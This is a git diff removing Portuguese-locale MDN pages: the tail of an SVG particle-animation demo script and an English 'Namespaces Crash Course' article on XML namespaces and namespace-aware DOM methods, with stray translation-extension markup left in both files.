- return [sum_x/motes.length, sum_y/motes.length];
- }
-
- // A nicer, integer random
- function Rand(modulo)
- {
- return Math.round( Math.random() * (modulo-1));
- }
-
- // Class Mote
- function Mote()
- {
- // Dimensions of drawing area.
- var dims = Dimensions();
- var width = dims[0], height = dims[1];
-
- // Choose a random coordinate to start at.
- this.x = Rand( width );
- this.y = Rand( height );
-
- // Nil initial velocity.
- this.vx = this.vy = 0;
-
- // A visual element---initially none
- this.elt = null;
- }
-
- // Turn this into a class.
- new Mote();
-
- // Mote::applyForce() -- Adjust velocity
- // towards the given position.
- // Warning: Pseudo-physics -- not really
- // governed by any /real/ physical principles.
- Mote.prototype.applyForce = function(pos, mag)
- {
- if( pos[0] &gt; this.x )
- this.vx += mag;
- else if( pos[0] &lt; this.x )
- this.vx -= mag;
-
- if( pos[1] &gt; this.y )
- this.vy += mag;
- else if( pos[1] &lt; this.y )
- this.vy -= mag;
- }
-
- // Mote::capVelocity() -- Apply an upper limit
- // on mote velocity.
- Mote.prototype.capVelocity = function()
- {
- var max = parseInt( document.getElementById('max_velocity').value );
-
- if( max &lt; this.vx )
- this.vx = max;
- else if( -max &gt; this.vx )
- this.vx = -max;
-
- if( max &lt; this.vy )
- this.vy = max;
- else if( -max &gt; this.vy )
- this.vy = -max;
- }
-
- // Mote::capPosition() -- Apply an upper/lower limit
- // on mote position.
- Mote.prototype.capPosition = function()
- {
- var dims = Dimensions();
- if( this.x &lt; 0 )
- this.x = 0;
- else if( this.x &gt;= dims[0] )
- this.x = dims[0]-1;
-
- if( this.y &lt; 0 )
- this.y = 0;
- else if( this.y &gt;= dims[1] )
- this.y = dims[1]-1;
- }
-
- // Mote::move() -- move a mote, update the screen.
- Mote.prototype.move = function()
- {
- // Apply attraction to cursor.
- var attract = parseInt( document.getElementById('attract_cursor').value );
- var cursor = Cursor();
- this.applyForce(cursor, attract);
-
- // Apply repulsion from average mote position.
- var repel = parseInt( document.getElementById('repel_peer').value );
- var average = AverageMotePosition();
- this.applyForce(average, -repel);
-
- // Add some randomness to the velocity.
- this.vx += Rand(3)-1;
- this.vy += Rand(3)-1;
-
- // Put an upper limit on velocity.
- this.capVelocity();
-
- // Apply velocity.
- var old_x = this.x, old_y = this.y;
- this.x += this.vx;
- this.y += this.vy;
- this.capPosition();
-
- // Draw it.
-
- if( this.elt === null )
- {
- var svg = 'http://www.w3.org/2000/svg';
- this.elt = document.createElementNS(svg,'line');
- this.elt.setAttributeNS(null,'stroke','green');
- this.elt.setAttributeNS(null,'stroke-width','3');
- this.elt.setAttributeNS(null,'stroke-opacity','0.5');
- Display().appendChild( this.elt );
- }
-
- this.elt.setAttributeNS(null,'x1',old_x);
- this.elt.setAttributeNS(null,'y1',old_y);
-
- this.elt.setAttributeNS(null,'x2',this.x);
- this.elt.setAttributeNS(null,'y2',this.y);
- }
-
-
- function update()
- {
- // First call?
- if( !motes )
- motes = [];
-
- // How many motes should there be?
- var num = parseInt( document.getElementById('num_motes').value );
- if( num &lt; 0 )
- num = 0;
-
- // Make sure we have exactly that many...
- // Too few?
- while( motes.length &lt; num )
- motes.push( new Mote() );
- // Or too many?
- if( num == 0 )
- motes = [];
- else if( motes.length &gt; num )
- motes = motes.slice(0,num-1);
-
- // Move a random mote
- if( motes.length &gt; 0 )
- motes[ Rand( motes.length ) ].move();
-
- // And do this again in 1/100 sec
- setTimeout('update()', 10);
- }
- ]]&gt;
- &lt;/script&gt;
- &lt;/body&gt;
-&lt;/html&gt;
-</pre>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: block; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/svg/namespaces_crash_course/index.html b/files/pt-pt/web/svg/namespaces_crash_course/index.html
deleted file mode 100644
index 25941a6733..0000000000
--- a/files/pt-pt/web/svg/namespaces_crash_course/index.html
+++ /dev/null
@@ -1,266 +0,0 @@
----
-title: Namespaces Crash Course
-slug: Web/SVG/Namespaces_Crash_Course
-tags:
- - NeedsTranslation
- - SVG
- - XML
-translation_of: Web/SVG/Namespaces_Crash_Course
----
-<p>As an <a href="/en-US/docs/Glossary/XML" title="en-US/docs/Glossary/XML">XML</a> dialect, <a href="/en-US/docs/Web/SVG" title="en-US/docs/Web/SVG">SVG</a> is namespaced. It is important to understand the concept of namespaces and how they are used if you plan to author SVG content. Versions of SVG viewers prior to the release of Firefox 1.5 unfortunately paid scant attention to namespaces, but they are essential to multi-XML dialect supporting user agents such as <a href="/en-US/docs/Mozilla/Gecko" title="en-US/docs/Mozilla/Gecko">Gecko</a>-based browsers which must be very strict. Take some time to understand namespaces now and it will save you all sorts of headaches in the future.</p>
-
-<h3 id="Background">Background</h3>
-
-<p>It has been a long standing goal of the W3C to make it possible for different types of XML based content to be mixed together in the same XML file. For example, SVG and <a href="/en-US/docs/Web/MathML" title="en-US/docs/Web/MathML">MathML</a> might be incorporated directly into an XHTML based scientific document. Being able to mix content types like this has many advantages, but it also required a very real problem to be solved.</p>
-
-<p>Naturally, each XML dialect defines the meaning of the markup tag names described in its specification. The problem with mixing content from different XML dialects in a single XML document is that the tags defined by one dialect may have the same name as tags defined by another. For example, both XHTML and SVG have a <code>&lt;title&gt;</code> tag. How should the user agent distinguish between the two? In fact how does the user agent tell when XML content is something it knows about, and not just a meaningless XML file containing arbitrary tag names unknown to it?</p>
-
-<p>Contrary to popular opinion, the answer to this question is not "it can tell from the <code>DOCTYPE</code> declaration". DTDs were never designed with mixed content in mind, and past attempts to create mixed content DTDs are now considered to have failed. XML, and some XML dialects (SVG included), don't require a <code>DOCTYPE</code> declaration, and SVG 1.2 won't even have one. The fact that <code>DOCTYPE</code> declarations (usually) match the content in single content type files is merely coincidental. DTDs are for validation only, not identification of content. User agents that cheat and identify XML content using its DOCTYPE declaration cause harm.</p>
-
-<p>The real answer to the question is that XML content tells the user agent which dialect the tag names belong to by giving the tags explicit "namespace declarations".</p>
-
-<h3 id="Declaring_namespaces" name="Declaring_namespaces">Declaring namespaces</h3>
-
-<p>So what do these namespace declarations look like, and where do they go? Here is a short example.</p>
-
-<pre>&lt;svg xmlns="http://www.w3.org/2000/svg"&gt;
- &lt;!-- more tags here --&gt;
-&lt;/svg&gt;
-</pre>
-
-<p>The namespace declaration is provided by the <code>xmlns</code> attribute. This attribute says that the <code>&lt;svg&gt;</code> tag and its child tags belong to whichever XML dialect has the namespace name <span class="nowiki">'http://www.w3.org/2000/svg'</span> which is, of course, SVG. Note the namespace declaration only needs to be provided once on a root tag. The declaration defines the <em>default</em> namespace, so the user agent knows that all the <code>&lt;svg&gt;</code> tag's descendant tags also belong to the same namespace. User agents check to see if they recognize the namespace name to determine if they know how to handle the markup.</p>
-
-<p>Note that namespace names are just strings, so the fact that the SVG namespace name also looks like a URI isn't important. URIs are commonly used because they are unique, the intention is not to "link" somewhere. (In fact URIs are used so frequently that the term "namespace URI" is commonly used instead of "namespace name".)</p>
-
-<h4 id="Redeclaring_the_default_namespace" name="Redeclaring_the_default_namespace">Redeclaring the default namespace</h4>
-
-<p>So if all the descendants of the root tag are also defined to be in the default namespace, how do you mix in content from another namespace? Easy. You just redefine the default namespace. Here's a short example.</p>
-
-<pre>&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
- &lt;body&gt;
- &lt;!-- some XHTML tags here --&gt;
- &lt;svg xmlns="http://www.w3.org/2000/svg" width="300px" height="200px"&gt;
- &lt;!-- some SVG tags here --&gt;
- &lt;/svg&gt;
- &lt;!-- some XHTML tags here --&gt;
- &lt;/body&gt;
-&lt;/html&gt;
-</pre>
-
-<p>In this example the <code>xmlns</code> attribute on the root <code>&lt;html&gt;</code> tag declares the default namespace to be XHTML. As a result it and all its child tags are interpreted by the user agent as belonging to XHTML, except for the <code>&lt;svg&gt;</code> tag. The <code>&lt;svg&gt;</code> tag has its own <code>xmlns</code> attribute, and by redeclaring the default namespace, this tells the user agent that the <code>&lt;svg&gt;</code> tag and its descendants (unless they also redeclare the default namespace) belong to SVG.</p>
-
-<p>See, namespaces really aren't that hard.</p>
-
-<h4 id="Declaring_namespace_prefixes" name="Declaring_namespace_prefixes">Declaring namespace prefixes</h4>
-
-<p>XML dialects not only define their own tags, but also their own attributes. By default, attributes don't have a namespace at all, and are only known to be unique because they appear on an element that itself has a unique name. However, sometimes it is necessary to define attributes so that they can be reused on many different elements and still be considered to be the same attribute, independently of the element with which they are used. A very good example of this is the <code>href</code> attribute defined by the XLink specification. This attribute is commonly used by other XML dialects as a means to link to external resources. But how do you tell the user agent which dialect the attribute belongs to, in this case XLink? Consider the following example.</p>
-
-<pre>&lt;svg xmlns="http://www.w3.org/2000/svg"
- xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
- &lt;script xlink:href="cool-script.js" type="text/ecmascript"/&gt;
-&lt;/svg&gt;
-</pre>
-
-<p>This example has the rather unusual looking attribute <code>xmlns:xlink</code>. As you may guess from the first 'xmlns' part, this is another namespace declaration. However, instead of setting the default namespace, this namespace declaration sets the namespace for something called a "namespace prefix". In this case, we have chosen to use the prefix <code>xlink</code> (the second part) since the prefix will be used to tell the user agent about attributes that belong to XLink.</p>
-
-<p>As their name suggests, namespace prefixes are used to prefix attribute names and tag names. This is done by putting the namespace prefix and a colon before the attribute name as shown on the <code>&lt;script&gt;</code> tag in the example above. This tells the user agent that that particular attribute belongs to the namespace assigned to the namespace prefix (XLink), and is an attribute that can be used with the same meaning on other tags.</p>
-
-<p>Note that it is an XML error to use a prefix that hasn't been bound to a namespace name. The binding created by the <code>xmlns:xlink</code> attribute in the example above is absolutely essential if the <code>xlink:href</code> attribute isn't to cause an error. This XLink attribute is also frequently used in SVG on the <code>&lt;a&gt;</code>, <code>&lt;use&gt;</code> and <code>&lt;image&gt;</code> tags among others, so it's a good idea to always include the XLink declaration in your documents.</p>
-
-<p>As an aside, it's useful to know that namespace prefixes can also be used for tag names. This tells the user agent that that particular tag (but not its children this time!) belongs to the namespace assigned to the prefix. Knowing this will save you some confusion if you come across markup like that in the following example:</p>
-
-<pre>&lt;html xmlns="http://www.w3.org/1999/xhtml"
- xmlns:svg="http://www.w3.org/2000/svg"&gt;
- &lt;body&gt;
- &lt;h1&gt;SVG embedded inline in XHTML&lt;/h1&gt;
- &lt;svg:svg width="300px" height="200px"&gt;
- &lt;svg:circle cx="150" cy="100" r="50" fill="#ff0000"/&gt;
- &lt;/svg:svg&gt;
- &lt;/body&gt;
-&lt;/html&gt;
-</pre>
-
-<p>Note that because a namespace prefix is used for the <code>&lt;svg:svg&gt;</code> tag and its child <code>&lt;svg:circle&gt;</code>, it wasn't necessary to redeclare the default namespace. In general though it is better to redeclare the default namespace rather than prefix lots of tags in this way.</p>
-
-<h3 id="Scripting_in_namespaced_XML" name="Scripting_in_namespaced_XML">Scripting in namespaced XML</h3>
-
-<p>Namespaces affect not only markup, but also scripting. If you write scripts for namespaced XML such as SVG, read on.</p>
-
-<p>The <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/">DOM Level 1</a> recommendation was created before the <a class="external" href="http://www.w3.org/TR/REC-xml-names/">original Namespaces in XML</a> recommendation was released; therefore, DOM1 isn't namespace aware. This causes problems for namespaced XML such as SVG. To resolve these problems, <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/">DOM Level 2 Core</a> added namespace aware equivalents of all the applicable DOM Level 1 methods. When scripting SVG, <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#Namespaces-Considerations">it is important to use the namespace aware methods</a>. The table below lists the DOM1 methods that shouldn't be used in SVG, along with their equivalent DOM2 counterparts that should be used instead.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th>DOM1 (don't use)</th>
- <th>DOM2 (use these instead!)</th>
- </tr>
- <tr>
- <td><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-createAttribute">createAttribute</a></td>
- <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-DocCrAttrNS">createAttributeNS</a></td>
- </tr>
- <tr>
- <td><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-createElement">createElement</a></td>
- <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-DocCrElNS">createElementNS</a></td>
- </tr>
- <tr>
- <td><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-getAttributeNode">getAttributeNode</a></td>
- <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElGetAtNodeNS">getAttributeNodeNS</a></td>
- </tr>
- <tr>
- <td><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-getAttribute">getAttribute</a></td>
- <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElGetAttrNS">getAttributeNS</a></td>
- </tr>
- <tr>
- <td><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-getElementsByTagName">getElementsByTagName</a></td>
- <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-getElBTNNS">getElementsByTagNameNS</a> (also <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-A6C90942">added to Element</a>)</td>
- </tr>
- <tr>
- <td><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-getNamedItem">getNamedItem</a></td>
- <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-getNamedItemNS">getNamedItemNS</a></td>
- </tr>
- <tr>
- <td><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#">hasAttribute</a></td>
- <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElHasAttrNS">hasAttributeNS</a></td>
- </tr>
- <tr>
- <td><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-removeAttribute">removeAttribute</a></td>
- <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElRemAtNS">removeAttributeNS</a></td>
- </tr>
- <tr>
- <td><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-removeNamedItem">removeNamedItem</a></td>
- <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-removeNamedItemNS">removeNamedItemNS</a></td>
- </tr>
- <tr>
- <td><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-setAttribute">setAttribute</a></td>
- <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElSetAttrNS">setAttributeNS</a></td>
- </tr>
- <tr>
- <td><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-setAttributeNode">setAttributeNode</a></td>
- <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElSetAtNodeNS">setAttributeNodeNS</a></td>
- </tr>
- <tr>
- <td><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-setNamedItem">setNamedItem</a></td>
- <td><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-setNamedItemNS">setNamedItemNS</a></td>
- </tr>
- </tbody>
-</table>
-
-<p>The first argument for all the DOM2 namespace aware methods must be the namespace name (also known as the namespace URI) of the element or attribute in question. For SVG <strong>elements</strong> this is <span class="nowiki">'http://www.w3.org/2000/svg'</span>. However, note carefully: the <a class="external" href="http://www.w3.org/TR/xml-names11/#defaulting">Namespaces in XML 1.1</a> recommendation states that the namespace name for attributes without a prefix does not have a value. In other words, although the attributes belong to the namespace of the tag, you do not use the tag's namespace name. Instead, <strong>you must use null as the namespace name for unqualified (prefixless) attributes</strong>. So, to create an SVG <code>rect</code> <em>element</em> using <code>document.createElementNS()</code>, you must write:</p>
-
-<pre><code class="language-javascript">document.createElementNS('http://www.w3.org/2000/svg', 'rect');</code></pre>
-
-<p>But to retrieve the value of the <code>x</code> <em>attribute</em> on an SVG <code>rect</code> element, you must write:</p>
-
-<pre class="eval"><code class="language-javascript">rect.getAttributeNS(<strong>null</strong>, 'x');</code></pre>
-
-<p>Note that this isn't the case for attributes <em>with</em> a namespace prefix (attributes that don't belong to the same XML dialect as the tag). Attributes such as the <code>xlink:href</code> attribute require the namespace name that was assigned to that prefix (<span class="nowiki">http://www.w3.org/1999/xlink</span> for XLink). Hence to get the value of the <code>xlink:href</code> attribute of an <code>&lt;a&gt;</code> element in SVG you would write:</p>
-
-<pre><code class="language-javascript">elt.getAttributeNS('http://www.w3.org/1999/xlink', 'href');</code></pre>
-
-<p>For setting attributes that have a namespace, it is recommended (but not required) that you also include their prefix in the second argument so that the DOM can later be more easily converted back to XML (if for instance you want to send it back to the server). For example:</p>
-
-<pre><code class="language-javascript">elt.setAttributeNS('http://www.w3.org/1999/xlink', 'xlink:href', 'otherdoc.svg');</code></pre>
-
-<p>As a final example, here's a demonstration of how you should dynamically create an <code>&lt;image&gt;</code> element using script:</p>
-
-<pre><code class="language-javascript">var SVG_NS = 'http://www.w3.org/2000/svg';
-var XLink_NS = 'http://www.w3.org/1999/xlink';
-var image = document.createElementNS(SVG_NS, 'image');
-image.setAttributeNS(null, 'width', '100');
-image.setAttributeNS(null, 'height', '100');
-image.setAttributeNS(XLink_NS, 'xlink:href', 'flower.png');
-</code></pre>
-
-<h3 id="Conclusion" name="Conclusion">Conclusão</h3>
-
-<p>Make sure you always declare the namespaces you use in your XML files. If you don't, user agents such as Firefox won't recognize your content and will simply show the XML markup or inform the user that there's an error in the XML. It's a good idea to use a template that includes all the commonly used namespace declarations when creating new SVG files. If you don't already have one, make one up starting with the following code:</p>
-
-<pre>&lt;svg xmlns="http://www.w3.org/2000/svg"
- xmlns:xlink="http://www.w3.org/1999/xlink"&gt;
-&lt;/svg&gt;
-</pre>
-
-<p>Even if you don't use all those namespaces in a particular document, there's no harm in including the namespace declarations. It may save you from some annoying errors if you end up adding content from one of the unused namespaces at a later date.</p>
-
-<h3 id="A_full_example" name="A_full_example">Um exemplo completo</h3>
-
-<p>Para um exemplo completo, consulte <a href="/pt-PT/docs/Web/SVG/Namespaces_Crash_Course/Exemplo">SVG: Namespaces Crash Course: Exemplo</a>.</p>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option 